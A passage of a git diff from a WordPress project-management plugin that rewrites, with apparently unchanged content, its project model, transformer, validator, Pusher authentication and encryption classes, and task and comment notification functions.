'project_id' ); + } + + public function managers() { + $role_id = Role::where('slug', 'manager')->first()->id; + return $this->assignees()->where('role_id', $role_id); + } + + public function co_workers() { + $role_id = Role::where('slug', 'co_worker')->first()->id; + return $this->assignees()->where('role_id', $role_id); + } + + public function getFavouriteAttribute( ) { + $user_id = get_current_user_id(); + $favourite = $this->meta()->where('meta_key', '=', 'favourite_project' ) + ->where( 'entity_type', 'project' ) + ->where( 'entity_id', '=', $user_id )->first(); + + + return empty($favourite) ? null: $favourite; + } + + public function labels() { + return apply_filters( 'pm_task_label', $this ); + } +} diff --git a/src/Project/Project_Status.php b/src/Project/Project_Status.php index 80a792712..1bc5a1e36 100644 --- a/src/Project/Project_Status.php +++ b/src/Project/Project_Status.php @@ -1,39 +1,39 @@ - 'incomplete', - 1 => 'complete', - 2 => 'pending', - 3 => 'archived' - ]; - - public function getStatusAttribute( $value ) { - $value = (int) $value; - - if (array_key_exists($value, self::$status)) { - return self::$status[(int)$value]; - } - - return self::$status[0]; - } - - public function setStatusAttribute( $value ) { - $value = strtolower( $value ); - $key = array_search( $value, self::$status ); - - if ( array_key_exists( $value, self::$status ) ) { - $this->attributes['status'] = $value; - } else { - $this->attributes['status'] = $key; - } - } - - public function setEstCompletionDateAttribute( $date ) { - $this->attributes['est_completion_date'] = make_carbon_date( $date ); - } - + 'incomplete', + 1 => 'complete', + 2 => 'pending', + 3 => 'archived' + ]; + + public function getStatusAttribute( $value ) { + $value = (int) $value; + + if (array_key_exists($value, self::$status)) { + return self::$status[(int)$value]; + } + + return self::$status[0]; + } + + public function setStatusAttribute( $value ) { + $value = strtolower( $value ); + $key = array_search( $value, self::$status ); + + if ( array_key_exists( $value, self::$status ) ) { + $this->attributes['status'] = $value; + } else { + $this->attributes['status'] = $key; + } + } + + public function setEstCompletionDateAttribute( $date ) { + $this->attributes['est_completion_date'] = make_carbon_date( $date ); + } + } \ No newline at end of file diff --git a/src/Project/Transformers/Project_Transformer.php b/src/Project/Transformers/Project_Transformer.php index 737bd7f52..f6c41917f 100644 --- a/src/Project/Transformers/Project_Transformer.php +++ b/src/Project/Transformers/Project_Transformer.php @@ -1,157 +1,157 @@ -id, $item->id, 'task_list', 'list-inbox'); - if($listmeta) { - $listmeta = $listmeta->meta_value; - }else { - $listmeta = 0; - } - - $data = [ - 'id' => (int) $item->id, - 'title' => (string) $item->title, - 'description' => [ 'html' => pm_get_content( $item->description ), 'content' => $item->description ], - 'status' => $item->status, - 'budget' => $item->budget, - 'pay_rate' => $item->pay_rate, - 'est_completion_date' => format_date( $item->est_completion_date ), - 'color_code' => $item->color_code, - 'order' => $item->order, - 'projectable_type' => $item->projectable_type, - 'favourite' => !empty($item->favourite) ? (boolean) $item->favourite->meta_value: false, - 'created_at' => format_date( $item->created_at ), - 'updated_at' => format_date( $item->updated_at ), - 'list_inbox' => (int) $listmeta, - ]; - return apply_filters( "pm_project_transformer", $data, $item ); - } - - /** - * Getter for defaultIncludes. - * - * @return array - */ - public function getDefaultIncludes() - { - return apply_filters( "pm_project_transformer_default_includes", $this->defaultIncludes ); - } - - public function includeMeta (Project $item) { - - return $this->item($item, function ($item) { - $list = $item->task_lists(); - $list = apply_filters( 'pm_task_list_query', $list, $item->id ); - $task = $item->tasks(); - $task = apply_filters( 'pm_task_query', $task, $item->id ); - $task_count = $task->count(); - $complete_tasks_count = $task->where( 'status', Task::COMPLETE)->count(); - $incomplete_tasks_count = $task->where( 'status', Task::INCOMPLETE)->count(); - $discussion = $item->discussion_boards(); - $discussion = apply_filters( 'pm_discuss_query', $discussion, $item->id); - $milestones = $item->milestones(); - $milestones = apply_filters( 'pm_milestone_index_query', $milestones, $item->id ); - $files = $item->files(); - $files = apply_filters( 'pm_file_query', $files, $item->id ); - - return[ - 'total_task_lists' => $list->count(), - 'total_tasks' => $task_count, - 'total_complete_tasks' => $complete_tasks_count, - 'total_incomplete_tasks' => $incomplete_tasks_count, - 'total_discussion_boards' => $discussion->count(), - 'total_milestones' => $milestones->count(), - 'total_comments' => $item->comments()->where('commentable_type', '!=', 'task_activity')->count(), - 'total_files' => $files->count(), - 'total_activities' => $item->activities()->count(), - ]; - }); - } - - public function includeTaskLists ( Project $item ) { - $task_lists = $item->task_lists; - return $this->collection( $task_lists, new Task_List_Transformer ); - } - - public function includeTasks ( Project $item ) { - $tasks = $item->tasks; - return $this->collection( $tasks , new Task_Transformer ); - } - - public function includeOverviewGraph( Project $item ) { - $today = date( 'Y-m-d', strtotime( current_time( 'mysql' ) ) ); - $first_day = date( 'Y-m-d', strtotime('-1 month') ); - - $graph_data = []; - - $tasks = $item->tasks() - ->where( 'created_at', '>=', $first_day ) - ->get() - ->toArray(); - - $task_groups = []; - - foreach ( $tasks as $key => $task ) { - $created_date = date( 'Y-m-d', strtotime( $task['created_at'] ) ); - $task_groups[$created_date][] = $task; - } - - $activities = $item->activities() - ->where( 'created_at', '>=', $first_day ) - ->get() - ->toArray(); - - $activity_groups = []; - - foreach ( $activities as $key => $activity ) { - $created_date = date( 'Y-m-d', strtotime( $activity['created_at'] ) ); - $activity_groups[$created_date][] = $activity; - } - - for ( $dt = $first_day; $dt<=$today; $dt = date('Y-m-d', strtotime( $dt . '+1 day' ) ) ) { - $graph_data[] = [ - 'date_time' => format_date( $dt ), - 'tasks' => empty( $task_groups[$dt] ) ? 0 : count( $task_groups[$dt] ), - 'activities' => empty( $activity_groups[$dt] ) ? 0 : count( $activity_groups[$dt] ) - ]; - } - - return $this->collection( $graph_data, new Overview_Graph_Transformer ); - } - - public function includeCategories( Project $item ) { - $categories = $item->categories; - - return $this->collection( $categories, new Category_Transformer ); - } - - public function includeAssignees( Project $item ) { - $assignees = $item->assignees; - - return $this->collection( $assignees, new User_Transformer( $item->id ) ); - } -} +id, $item->id, 'task_list', 'list-inbox'); + if($listmeta) { + $listmeta = $listmeta->meta_value; + }else { + $listmeta = 0; + } + + $data = [ + 'id' => (int) $item->id, + 'title' => (string) $item->title, + 'description' => [ 'html' => pm_get_content( $item->description ), 'content' => $item->description ], + 'status' => $item->status, + 'budget' => $item->budget, + 'pay_rate' => $item->pay_rate, + 'est_completion_date' => format_date( $item->est_completion_date ), + 'color_code' => $item->color_code, + 'order' => $item->order, + 'projectable_type' => $item->projectable_type, + 'favourite' => !empty($item->favourite) ? (boolean) $item->favourite->meta_value: false, + 'created_at' => format_date( $item->created_at ), + 'updated_at' => format_date( $item->updated_at ), + 'list_inbox' => (int) $listmeta, + ]; + return apply_filters( "pm_project_transformer", $data, $item ); + } + + /** + * Getter for defaultIncludes. + * + * @return array + */ + public function getDefaultIncludes() + { + return apply_filters( "pm_project_transformer_default_includes", $this->defaultIncludes ); + } + + public function includeMeta (Project $item) { + + return $this->item($item, function ($item) { + $list = $item->task_lists(); + $list = apply_filters( 'pm_task_list_query', $list, $item->id ); + $task = $item->tasks(); + $task = apply_filters( 'pm_task_query', $task, $item->id ); + $task_count = $task->count(); + $complete_tasks_count = $task->where( 'status', Task::COMPLETE)->count(); + $incomplete_tasks_count = $task->where( 'status', Task::INCOMPLETE)->count(); + $discussion = $item->discussion_boards(); + $discussion = apply_filters( 'pm_discuss_query', $discussion, $item->id); + $milestones = $item->milestones(); + $milestones = apply_filters( 'pm_milestone_index_query', $milestones, $item->id ); + $files = $item->files(); + $files = apply_filters( 'pm_file_query', $files, $item->id ); + + return[ + 'total_task_lists' => $list->count(), + 'total_tasks' => $task_count, + 'total_complete_tasks' => $complete_tasks_count, + 'total_incomplete_tasks' => $incomplete_tasks_count, + 'total_discussion_boards' => $discussion->count(), + 'total_milestones' => $milestones->count(), + 'total_comments' => $item->comments()->where('commentable_type', '!=', 'task_activity')->count(), + 'total_files' => $files->count(), + 'total_activities' => $item->activities()->count(), + ]; + }); + } + + public function includeTaskLists ( Project $item ) { + $task_lists = $item->task_lists; + return $this->collection( $task_lists, new Task_List_Transformer ); + } + + public function includeTasks ( Project $item ) { + $tasks = $item->tasks; + return $this->collection( $tasks , new Task_Transformer ); + } + + public function includeOverviewGraph( Project $item ) { + $today = date( 'Y-m-d', strtotime( current_time( 'mysql' ) ) ); + $first_day = date( 'Y-m-d', strtotime('-1 month') ); + + $graph_data = []; + + $tasks = $item->tasks() + ->where( 'created_at', '>=', $first_day ) + ->get() + ->toArray(); + + $task_groups = []; + + foreach ( $tasks as $key => $task ) { + $created_date = date( 'Y-m-d', strtotime( $task['created_at'] ) ); + $task_groups[$created_date][] = $task; + } + + $activities = $item->activities() + ->where( 'created_at', '>=', $first_day ) + ->get() + ->toArray(); + + $activity_groups = []; + + foreach ( $activities as $key => $activity ) { + $created_date = date( 'Y-m-d', strtotime( $activity['created_at'] ) ); + $activity_groups[$created_date][] = $activity; + } + + for ( $dt = $first_day; $dt<=$today; $dt = date('Y-m-d', strtotime( $dt . '+1 day' ) ) ) { + $graph_data[] = [ + 'date_time' => format_date( $dt ), + 'tasks' => empty( $task_groups[$dt] ) ? 0 : count( $task_groups[$dt] ), + 'activities' => empty( $activity_groups[$dt] ) ? 0 : count( $activity_groups[$dt] ) + ]; + } + + return $this->collection( $graph_data, new Overview_Graph_Transformer ); + } + + public function includeCategories( Project $item ) { + $categories = $item->categories; + + return $this->collection( $categories, new Category_Transformer ); + } + + public function includeAssignees( Project $item ) { + $assignees = $item->assignees; + + return $this->collection( $assignees, new User_Transformer( $item->id ) ); + } +} diff --git a/src/Project/Validators/Create_Project.php b/src/Project/Validators/Create_Project.php index 5973a1db2..b2233f6d3 100644 --- a/src/Project/Validators/Create_Project.php +++ b/src/Project/Validators/Create_Project.php @@ -1,27 +1,27 @@ - __( 'Project title is required.', 'wedevs-project-manager' ), - 'title.pm_unique' => __( 'Project title must be unique.', 'wedevs-project-manager' ), - ]; - } - - public function rules() { - - if ( apply_filters( 'pm_check_project_title_unique', true ) ) { - return [ - 'title' => 'required|pm_unique:Project,title', - ]; - } - - return [ - 'title' => 'required', - ]; - } -} + __( 'Project title is required.', 'wedevs-project-manager' ), + 'title.pm_unique' => __( 'Project title must be unique.', 'wedevs-project-manager' ), + ]; + } + + public function rules() { + + if ( apply_filters( 'pm_check_project_title_unique', true ) ) { + return [ + 'title' => 'required|pm_unique:Project,title', + ]; + } + + return [ + 'title' => 'required', + ]; + } +} diff --git a/src/Pusher/Core/Auth/Auth.php b/src/Pusher/Core/Auth/Auth.php index 1218e30c6..3d5c5e991 100755 --- a/src/Pusher/Core/Auth/Auth.php +++ b/src/Pusher/Core/Auth/Auth.php @@ -1,92 +1,92 @@ -validate_channel($channel); - $this->validate_socket_id($socket_id); - - if ($custom_data) { - $signature = hash_hmac('sha256', $socket_id.':'.$channel.':'.$custom_data, $this->secret(), false); - } else { - $signature = hash_hmac('sha256', $socket_id.':'.$channel, $this->secret(), false); - } - - $signature = array('auth' => $this->app_key().':'.$signature); - // add the custom data if it has been supplied - if ($custom_data) { - $signature['channel_data'] = $custom_data; - } - // var_dump( PusherCrypto::is_encrypted_channel($channel) ); die(); - // if (PusherCrypto::is_encrypted_channel($channel)) { - // if (!is_null($this->crypto)) { - // $signature['shared_secret'] = base64_encode($this->crypto->generate_shared_secret($channel)); - // } else { - // throw new PusherException('You must specify an encryption master key to authorize an encrypted channel'); - // } - // } - - return json_encode($signature, JSON_UNESCAPED_SLASHES); - } - - /** - * Ensure a channel name is valid based on our spec. - * - * @param string $channel The channel name to validate - * - * @throws PusherException If $channel is invalid - * - * @return void - */ - private function validate_channel($channel) - { - if (!preg_match('/\A[-a-zA-Z0-9_=@,.;]+\z/', $channel)) { - return false; - } - } - - /** - * Ensure a socket_id is valid based on our spec. - * - * @param string $socket_id The socket ID to validate - * - * @throws PusherException If $socket_id is invalid - */ - private function validate_socket_id($socket_id) - { - if ($socket_id !== null && !preg_match('/\A\d+\.\d+\z/', $socket_id)) { - return false; - } - } -} +validate_channel($channel); + $this->validate_socket_id($socket_id); + + if ($custom_data) { + $signature = hash_hmac('sha256', $socket_id.':'.$channel.':'.$custom_data, $this->secret(), false); + } else { + $signature = hash_hmac('sha256', $socket_id.':'.$channel, $this->secret(), false); + } + + $signature = array('auth' => $this->app_key().':'.$signature); + // add the custom data if it has been supplied + if ($custom_data) { + $signature['channel_data'] = $custom_data; + } + // var_dump( PusherCrypto::is_encrypted_channel($channel) ); die(); + // if (PusherCrypto::is_encrypted_channel($channel)) { + // if (!is_null($this->crypto)) { + // $signature['shared_secret'] = base64_encode($this->crypto->generate_shared_secret($channel)); + // } else { + // throw new PusherException('You must specify an encryption master key to authorize an encrypted channel'); + // } + // } + + return json_encode($signature, JSON_UNESCAPED_SLASHES); + } + + /** + * Ensure a channel name is valid based on our spec. + * + * @param string $channel The channel name to validate + * + * @throws PusherException If $channel is invalid + * + * @return void + */ + private function validate_channel($channel) + { + if (!preg_match('/\A[-a-zA-Z0-9_=@,.;]+\z/', $channel)) { + return false; + } + } + + /** + * Ensure a socket_id is valid based on our spec. + * + * @param string $socket_id The socket ID to validate + * + * @throws PusherException If $socket_id is invalid + */ + private function validate_socket_id($socket_id) + { + if ($socket_id !== null && !preg_match('/\A\d+\.\d+\z/', $socket_id)) { + return false; + } + } +} diff --git a/src/Pusher/Core/Auth/Pusher_Crypto.php b/src/Pusher/Core/Auth/Pusher_Crypto.php index e0b4a5691..b2124137f 100644 --- a/src/Pusher/Core/Auth/Pusher_Crypto.php +++ b/src/Pusher/Core/Auth/Pusher_Crypto.php @@ -1,164 +1,164 @@ -encryption_master_key = $encryption_master_key; - - return; - } else { - throw new PusherException('Your end to end encryption key must be 32 chars long'); - } - } - - throw new PusherException('To use end to end encryption, you must either be using PHP 7.2 or greater or have installed the libsodium-php extension for php < 7.2.'); - } - - /** - * Decrypts a given event. - * - * @param object $event an object that has an encrypted data property and a channel property. - * - * @return object the event with a decrypted payload, or false if decryption was unsuccessful. - */ - public function decrypt_event($event) - { - $parsed_payload = $this->parse_encrypted_message($event->data); - $shared_secret = $this->generate_shared_secret($event->channel, $this->encryption_master_key); - $decrypted_payload = $this->decrypt_payload($parsed_payload->ciphertext, $parsed_payload->nonce, $shared_secret); - if (!$decrypted_payload) { - throw new PusherException('Decryption of the payload failed. Wrong key?'); - } - $event->data = $decrypted_payload; - - return $event; - } - - /** - * Derives a shared secret from the secret key and the channel to broadcast to. - * - * @param string $channel the name of the channel - * - * @return string a SHA256 hash (encoded as base64) of the channel name appended to the encryption key - */ - public function generate_shared_secret($channel) - { - if (!self::is_encrypted_channel($channel)) { - throw new PusherException('You must specify a channel of the form private-encrypted-* for E2E encryption. Got '.$channel); - } - - return hash('sha256', $channel.$this->encryption_master_key, true); - } - - /** - * Encrypts a given plaintext for broadcast on a particular channel. - * - * @param string $channel the name of the channel the payloads event will be broadcast on - * @param string $plaintext the data to encrypt - * - * @return string a string ready to be sent as the data of an event. - */ - public function encrypt_payload($channel, $plaintext) - { - if (!self::is_encrypted_channel($channel)) { - throw new PusherException('Cannot encrypt plaintext for a channel that is not of the form private-encrypted-*. Got '.$channel); - } - $nonce = $this->generate_nonce(); - $shared_secret = $this->generate_shared_secret($channel); - $cipher_text = sodium_crypto_secretbox($plaintext, $nonce, $shared_secret); - - return $this->format_encrypted_message($nonce, $cipher_text); - } - - /** - * Decrypts a given payload using the nonce and shared secret. - * - * @param string $payload the ciphertext - * @param string $nonce the nonce used in the encryption - * @param string $shared_secret the shared_secret used in the encryption - * - * @return string plaintext - */ - public function decrypt_payload($payload, $nonce, $shared_secret) - { - $plaintext = sodium_crypto_secretbox_open($payload, $nonce, $shared_secret); - if (empty($plaintext)) { - return false; - } - - return $plaintext; - } - - /** - * Formats an encrypted message ready for broadcast. - * - * @param string $nonce the nonce used in the encryption process (bytes) - * @param string $ciphertext the ciphertext (bytes) - * - * @return string JSON with base64 encoded nonce and ciphertext` - */ - private function format_encrypted_message($nonce, $ciphertext) - { - $encrypted_message = new \stdClass(); - $encrypted_message->nonce = base64_encode($nonce); - $encrypted_message->ciphertext = base64_encode($ciphertext); - - return json_encode($encrypted_message); - } - - /** - * Parses an encrypted message into its nonce and ciphertext components. - * - * - * @param string $payload the encrypted message payload - * - * @return string php object with decoded nonce and ciphertext - */ - private function parse_encrypted_message($payload) - { - $decoded_payload = json_decode($payload); - $decoded_payload->nonce = base64_decode($decoded_payload->nonce); - $decoded_payload->ciphertext = base64_decode($decoded_payload->ciphertext); - if (strlen($decoded_payload->nonce) != SODIUM_CRYPTO_SECRETBOX_NONCEBYTES || $decoded_payload->ciphertext == '') { - throw new PusherException('Received a payload that cannot be parsed.'); - } - - return $decoded_payload; - } - - /** - * Generates a nonce that is SODIUM_CRYPTO_SECRETBOX_NONCEBYTES long. - */ - private function generate_nonce() - { - return random_bytes( - SODIUM_CRYPTO_SECRETBOX_NONCEBYTES - ); - } -} +encryption_master_key = $encryption_master_key; + + return; + } else { + throw new PusherException('Your end to end encryption key must be 32 chars long'); + } + } + + throw new PusherException('To use end to end encryption, you must either be using PHP 7.2 or greater or have installed the libsodium-php extension for php < 7.2.'); + } + + /** + * Decrypts a given event. + * + * @param object $event an object that has an encrypted data property and a channel property. + * + * @return object the event with a decrypted payload, or false if decryption was unsuccessful. + */ + public function decrypt_event($event) + { + $parsed_payload = $this->parse_encrypted_message($event->data); + $shared_secret = $this->generate_shared_secret($event->channel, $this->encryption_master_key); + $decrypted_payload = $this->decrypt_payload($parsed_payload->ciphertext, $parsed_payload->nonce, $shared_secret); + if (!$decrypted_payload) { + throw new PusherException('Decryption of the payload failed. Wrong key?'); + } + $event->data = $decrypted_payload; + + return $event; + } + + /** + * Derives a shared secret from the secret key and the channel to broadcast to. + * + * @param string $channel the name of the channel + * + * @return string a SHA256 hash (encoded as base64) of the channel name appended to the encryption key + */ + public function generate_shared_secret($channel) + { + if (!self::is_encrypted_channel($channel)) { + throw new PusherException('You must specify a channel of the form private-encrypted-* for E2E encryption. Got '.$channel); + } + + return hash('sha256', $channel.$this->encryption_master_key, true); + } + + /** + * Encrypts a given plaintext for broadcast on a particular channel. + * + * @param string $channel the name of the channel the payloads event will be broadcast on + * @param string $plaintext the data to encrypt + * + * @return string a string ready to be sent as the data of an event. + */ + public function encrypt_payload($channel, $plaintext) + { + if (!self::is_encrypted_channel($channel)) { + throw new PusherException('Cannot encrypt plaintext for a channel that is not of the form private-encrypted-*. Got '.$channel); + } + $nonce = $this->generate_nonce(); + $shared_secret = $this->generate_shared_secret($channel); + $cipher_text = sodium_crypto_secretbox($plaintext, $nonce, $shared_secret); + + return $this->format_encrypted_message($nonce, $cipher_text); + } + + /** + * Decrypts a given payload using the nonce and shared secret. + * + * @param string $payload the ciphertext + * @param string $nonce the nonce used in the encryption + * @param string $shared_secret the shared_secret used in the encryption + * + * @return string plaintext + */ + public function decrypt_payload($payload, $nonce, $shared_secret) + { + $plaintext = sodium_crypto_secretbox_open($payload, $nonce, $shared_secret); + if (empty($plaintext)) { + return false; + } + + return $plaintext; + } + + /** + * Formats an encrypted message ready for broadcast. + * + * @param string $nonce the nonce used in the encryption process (bytes) + * @param string $ciphertext the ciphertext (bytes) + * + * @return string JSON with base64 encoded nonce and ciphertext` + */ + private function format_encrypted_message($nonce, $ciphertext) + { + $encrypted_message = new \stdClass(); + $encrypted_message->nonce = base64_encode($nonce); + $encrypted_message->ciphertext = base64_encode($ciphertext); + + return json_encode($encrypted_message); + } + + /** + * Parses an encrypted message into its nonce and ciphertext components. + * + * + * @param string $payload the encrypted message payload + * + * @return string php object with decoded nonce and ciphertext + */ + private function parse_encrypted_message($payload) + { + $decoded_payload = json_decode($payload); + $decoded_payload->nonce = base64_decode($decoded_payload->nonce); + $decoded_payload->ciphertext = base64_decode($decoded_payload->ciphertext); + if (strlen($decoded_payload->nonce) != SODIUM_CRYPTO_SECRETBOX_NONCEBYTES || $decoded_payload->ciphertext == '') { + throw new PusherException('Received a payload that cannot be parsed.'); + } + + return $decoded_payload; + } + + /** + * Generates a nonce that is SODIUM_CRYPTO_SECRETBOX_NONCEBYTES long. + */ + private function generate_nonce() + { + return random_bytes( + SODIUM_CRYPTO_SECRETBOX_NONCEBYTES + ); + } +} diff --git a/src/Pusher/Libs/action.php b/src/Pusher/Libs/action.php index ca16111b0..e6a8b8fe2 100644 --- a/src/Pusher/Libs/action.php +++ b/src/Pusher/Libs/action.php @@ -1,506 +1,506 @@ -getOriginal(); - - foreach ( $model->getDirty() as $key => $value ) { - switch ( $key ) { - case 'title': - $content['title'] = $value; - break; - - case 'description': - $content['description'] = $value; - break; - - case 'due_date': - $formated_due = format_date( $value ); - $original_due = date( 'Y-m-d', strtotime( $original['due_date'] ) ); - $updated_due = date( 'Y-m-d', strtotime( $formated_due['date'] ) ); - - if ( $original_due != $updated_due ) { - $content['due_date'] = $formated_due['date']; - } - break; - } - } - - return $content; -} - -function PM_pusher_before_assignees( $task, $assignees ) { - $is_admin = empty( intval( pm_clean( $_POST['is_admin'] ) ) ) ? false : true; - $task = pm_get_task( $task->id ); - $task = $task['data']; - $task_user_ids = wp_list_pluck( $task['assignees']['data'], 'id' ); - - $id_diff = array_diff( $assignees, $task_user_ids ); - - $task_title = $task['title']; - $url = pm_get_task_url( $task['project_id'], $task['task_list']['data']['id'], $task['id'], $is_admin ); - - $message = sprintf( '%s %s', __( "You've been assigned a new" ), __( 'task', 'wedevs-project-manager' ) ); - $nc_message = sprintf( '%1$s %2$s %3$s', __( "You've assigned in", 'wedevs-project-manager' ), $task_title, __( 'task', 'wedevs-project-manager' ) ); - - $channel = PM_pusher_channel(); - $event = PM_pusher_get_event( 'task_update' ); - - foreach ( $id_diff as $user_id ) { - if ( get_current_user_id() == $user_id ) { - continue; - } - - $channels[] = $channel . '-' . $user_id; - - pm_wp_notification_center( - get_current_user_id(), - $user_id, - wp_kses_post( htmlspecialchars_decode( $nc_message ) ), - $url - ); - } - - if ( empty( $channels ) ) { - return; - } - - Pusher::trigger( $channels, $event, array( - 'title' => '', - 'message' => wp_kses_post( htmlspecialchars_decode( $message ) ) - )); -} - -//For task update status -function PM_pusher_update_task_status( $new, $old, $task ) { - $is_admin = empty( intval( pm_clean( $_POST['is_admin'] ) ) ) ? false : true; - $task = pm_get_task( $task->id ); - $task = $task['data']; - $status = $task['status']; - - $task_title = $task['title']; - $task_url = pm_get_task_url( $task['project_id'], $task['task_list']['data']['id'], $task['id'], $is_admin ); - - if ( $status == 'complete' ) { - $message = sprintf( '%s %s', $task_url, __( 'Task', 'wedevs-project-manager' ), __( 'has been completed', 'wedevs-project-manager' ) ); - $nc_message = sprintf( '%1$s %2$s', $task_title, __( 'has been completed', 'wedevs-project-manager' ) ); - } - - if ( $status == 'incomplete' ) { - $message = sprintf( '%s %s', $task_url, __( 'Task', 'wedevs-project-manager' ) , __( 'has been re-opened', 'wedevs-project-manager' ) ); - $nc_message = sprintf( '%1$s %2$s', $task_title, __( 'has been re-opened', 'wedevs-project-manager' ) ); - } - - $channel = PM_pusher_channel(); - $event = PM_pusher_get_event( 'task_update' ); - - foreach ( $task['assignees']['data'] as $key => $user ) { - if ( get_current_user_id() == $user['id'] ) { - continue; - } - - $channels[] = $channel . '-' . $user['id']; - - pm_wp_notification_center( - get_current_user_id(), - $user['id'], - wp_kses_post( htmlspecialchars_decode( $nc_message ) ), - $task_url - ); - } - - if ( empty( $channels ) ) { - return; - } - - Pusher::trigger( $channels, $event, array( - 'title' => wp_kses_post( htmlspecialchars_decode( $message ) ), - 'message' => '' - )); -} - -function PM_pusher_update_task( $model ) { - $class_name = class_basename( $model ); - - if ( $class_name != 'Task' ) { - return; - } - - $original = $model->getOriginal(); - $task = pm_get_task( $original['id'] ); - $task = $task['data']; - - $content = PM_pusher_has_task_update_content( $model ); - - foreach ( $content as $cont_type => $cont_value ) { - if ( empty( $cont_value ) ) { - unset( $content[$cont_type] ); - } - } - - if ( empty( $content ) ) { - return; - } - - $is_admin = empty( intval( pm_clean( $_POST['is_admin'] ) ) ) ? false : true; - $url = pm_get_task_url( $task['project_id'], $task['task_list']['data']['id'], $task['id'], $is_admin ); - - if ( count( $content ) == 1 ) { - - if ( ! empty( $content['title'] ) ) { - $update_key = __( 'title', 'wedevs-project-manager' ); - } else if( ! empty( $content['description'] ) ) { - $update_key = __( 'description', 'wedevs-project-manager' ); - } else if( ! empty( $content['due_date'] ) ) { - $update_key = __( 'due date', 'wedevs-project-manager' ); - } - - $message = sprintf( '%s %s %s', __( 'Task' ), $update_key, __('has been updated', 'wedevs-project-manager') ); - $nc_message = sprintf( '%1$s %2$s %3$s', $task['title'], $update_key, __('has been updated', 'wedevs-project-manager') ); - } else { - $message = sprintf( '%s %s', __( 'Task' ), __('has been updated', 'wedevs-project-manager') ); - $nc_message = sprintf( '%1$s %2$s', $task['title'], __('has been updated', 'wedevs-project-manager') ); - } - - $channel = PM_pusher_channel(); - $event = PM_pusher_get_event( 'task_update' ); - - foreach ( $task['assignees']['data'] as $key => $user ) { - if ( get_current_user_id() == $user['id'] ) { - continue; - } - - $channels[] = $channel . '-' . $user['id']; - - pm_wp_notification_center( - get_current_user_id(), - $user['id'], - wp_kses_post( htmlspecialchars_decode( $nc_message ) ), - $url - ); - } - - if ( empty( $channels ) ) { - return; - } - - Pusher::trigger( $channels, $event, array( - 'title' => wp_kses_post( htmlspecialchars_decode( $message ) ), - 'message' => '' - )); -} - -function PM_pusher_after_new_comment( $comment, $params ) { - $type = $comment['data']['commentable_type']; - $creator = $comment['data']['creator']['data']['display_name']; - $title = ''; - - switch ( $type ) { - case 'task_list': - $task_list = Task_List::get_results([ 'id' => $params['commentable_id']]); - $title = $task_list['data']['title']; - - $url = PM_pusher_task_list_url( $params['project_id'], $params['commentable_id'] ); - $on = __( 'task list', 'wedevs-project-manager' ); - break; - - case 'task': - $task = Task::get_results([ 'id' => $params['commentable_id']]); - $title = $task['data']['title']; - - $url = PM_pusher_task_url( $params['project_id'], false, $params['commentable_id'] ); - $on = __( 'task', 'wedevs-project-manager' ); - break; - - case 'file': - - $url = PM_pusher_file_url( $params['project_id'], $params['commentable_id'] ); - $title = $on = __( 'file', 'wedevs-project-manager' ); - break; - - case 'discussion_board': - $discuss = Discussion_Board::find( $params['commentable_id'] ); - $title = $discuss->title; - - $url = PM_pusher_message_url( $params['project_id'], $params['commentable_id'] ); - $on = __( 'discussion board', 'wedevs-project-manager' ); - break; - } - - $channel = PM_pusher_channel(); - $event = PM_pusher_get_event( 'new_comment' ); - - $users = empty( $params['notify_users'] ) ? [] : explode( ',', $params['notify_users'] ); - - $message = sprintf( - '%s %s %s', - ucfirst( $creator ), - __( 'commented on a', 'wedevs-project-manager' ), - $url, - $on - ); - - $nc_message = sprintf( - '%1$s %2$s %3$s', - ucfirst( $creator ), - __( 'commented on a', 'wedevs-project-manager' ), - $title - ); - - foreach ( $users as $user_id ) { - if ( get_current_user_id() == $user_id ) { - continue; - } - - $channels[] = $channel . '-' . $user_id; - - pm_wp_notification_center( - get_current_user_id(), - $user_id, - wp_kses_post( htmlspecialchars_decode( $nc_message ) ), - $url - ); - } - - if ( empty( $channels ) ) { - return; - } - - Pusher::trigger( $channels, $event, array( - 'title' => wp_kses_post( htmlspecialchars_decode( $message ) ), - 'message' => '' - )); -} - -function PM_pusher_after_update_comment( $comment, $params ) { - $type = $comment['data']['commentable_type']; - $creator = $comment['data']['creator']['data']['display_name']; - - switch ( $type ) { - case 'task_list': - - $task_list = Task_List::get_results([ 'id' => $params['commentable_id']]); - $title = $task_list['data']['title']; - $url = PM_pusher_task_list_url( $params['project_id'], $params['commentable_id'] ); - $on = __( 'task list', 'wedevs-project-manager' ); - break; - - case 'task': - - $task = Task::get_results([ 'id' => $params['commentable_id']]); - $title = $task['data']['title']; - $url = PM_pusher_task_url( $params['project_id'], false, $params['commentable_id'] ); - $on = __( 'task', 'wedevs-project-manager' ); - break; - - case 'file': - $url = PM_pusher_file_url( $params['project_id'], $params['commentable_id'] ); - $title = $on = __( 'file', 'wedevs-project-manager' ); - break; - - case 'discussion_board': - - $discuss = Discussion_Board::find( $params['commentable_id'] ); - $title = $discuss->title; - $url = PM_pusher_message_url( $params['project_id'], $params['commentable_id'] ); - $on = __( 'discussion board', 'wedevs-project-manager' ); - break; - } - - $channel = PM_pusher_channel(); - $event = PM_pusher_get_event( 'new_comment' ); - - $users = empty( $params['notify_users'] ) ? [] : explode( ',', $params['notify_users'] ); - - $nc_message = sprintf( - '%1$s %2$s %3$s', - ucfirst( $creator ), - __( 'updated comment on a', 'wedevs-project-manager' ), - $title - ); - - foreach ( $users as $user_id ) { - if ( get_current_user_id() == $user_id ) { - continue; - } - - $channels[] = $channel . '-' . $user_id; - - pm_wp_notification_center( - get_current_user_id(), - $user_id, - wp_kses_post( htmlspecialchars_decode( $nc_message ) ), - $url - ); - } - - if ( empty( $channels ) ) { - return; - } - - $message = sprintf( - '%s %s %s', - ucfirst( $creator ), - __( 'updated his comment on a', 'wedevs-project-manager' ), - $url, - $on - ); - - Pusher::trigger( $channels, $event, array( - 'title' => wp_kses_post( htmlspecialchars_decode( $message ) ), - 'message' => '' - )); -} - -function PM_pusher_task_list_url( $project_id, $list_id ) { - $is_admin = empty( intval( pm_clean( $_POST['is_admin'] ) ) ) ? false : true; - - return pm_get_list_url( $project_id, $list_id, $is_admin ); -} - -function PM_pusher_task_url( $project_id, $list_id, $task_id ) { - $is_admin = empty( intval( pm_clean( $_POST['is_admin'] ) ) ) ? 'frontend' : 'admin'; - - if ( ! $list_id ) { - return pm_get_project_page( $is_admin ) . '#/projects/' . $project_id . '/task-lists/tasks/' . $task_id; - } - - return pm_get_task_url( $project_id, $list_id, $task_id, $is_admin ); -} - -function PM_pusher_file_url( $project_id, $file_id ) { - return; - // $file = File::find( $file_id ); - // $is_admin = empty( intval( pm_clean( $_POST['is_admin'] ) ) ) ? 'frontend' : 'admin'; - 